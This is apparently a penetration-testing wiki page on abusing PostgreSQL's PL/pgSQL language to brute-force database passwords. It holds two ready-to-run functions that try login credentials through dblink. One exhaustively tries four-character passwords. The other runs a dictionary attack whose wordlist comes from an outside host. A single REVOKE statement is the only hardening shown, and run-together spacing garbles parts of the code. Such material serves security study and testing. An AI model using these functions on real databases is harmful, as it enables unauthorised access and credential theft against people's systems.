PL/pgSQL, as a fully featured programming language, allows much more procedural control than SQL, including the ability to use loops and other control structures. SQL statements and triggers can call functions created in the PL/pgSQL language.
You can abuse this language in order to ask PostgreSQL to brute-force the users credentials, but it must exist on the database. You can verify it's existence using:
SELECT lanname,lanacl FROM pg_language WHERE lanname ='plpgsql'; lanname | lanacl---------+--------- plpgsql |
By default, creating functions is a privilege granted to PUBLIC, where PUBLIC refers to every user on that database system. To prevent this, the administrator could have had to revoke the USAGE privilege from the PUBLIC domain:
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
In that case, our previous query would output different results:
SELECT lanname,lanacl FROM pg_language WHERE lanname ='plpgsql'; lanname | lanacl---------+----------------- plpgsql | {admin=U/admin}
Here how you could perform a 4 chars password bruteforce:
//Create the brute-forcefunctionCREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT, username TEXT, dbname TEXT) RETURNS TEXTAS$$DECLARE word TEXT;BEGIN FOR a IN65..122 LOOP FOR b IN65..122 LOOP FOR c IN65..122 LOOP FOR d IN65..122 LOOP BEGIN word := chr(a) || chr(b) || chr(c) || chr(d); PERFORM(SELECT * FROM dblink(' host='|| host ||' port='|| port ||' dbname='|| dbname ||' user='|| username ||' password='|| word,'SELECT 1') RETURNS (i INT)); RETURN word; EXCEPTION WHEN sqlclient_unable_to_establish_sqlconnection THEN-- do nothing END; END LOOP; END LOOP; END LOOP; END LOOP; RETURN NULL;END;$$ LANGUAGE 'plpgsql';//Call the functionselect brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
Note that even brute-forcing 4 characters may take several minutes.
You could also download a wordlist and try only those passwords (dictionary attack):
//Create the functionCREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT, username TEXT, dbname TEXT) RETURNS TEXTAS$$BEGIN FOR word IN (SELECT word FROM dblink('host=1.2.3.4 user=name password=qwerty dbname=wordlists','SELECT word FROM wordlist') RETURNS (word TEXT)) LOOP BEGIN PERFORM(SELECT * FROM dblink(' host='|| host ||' port='|| port ||' dbname='|| dbname ||' user='|| username ||' password='|| word,'SELECT 1') RETURNS (i INT)); RETURN word; EXCEPTION WHEN sqlclient_unable_to_establish_sqlconnection THEN-- do nothing END; END LOOP; RETURN NULL;END;$$ LANGUAGE 'plpgsql'//Call the functionselect brute_force('127.0.0.1', '5432', 'postgres', 'postgres');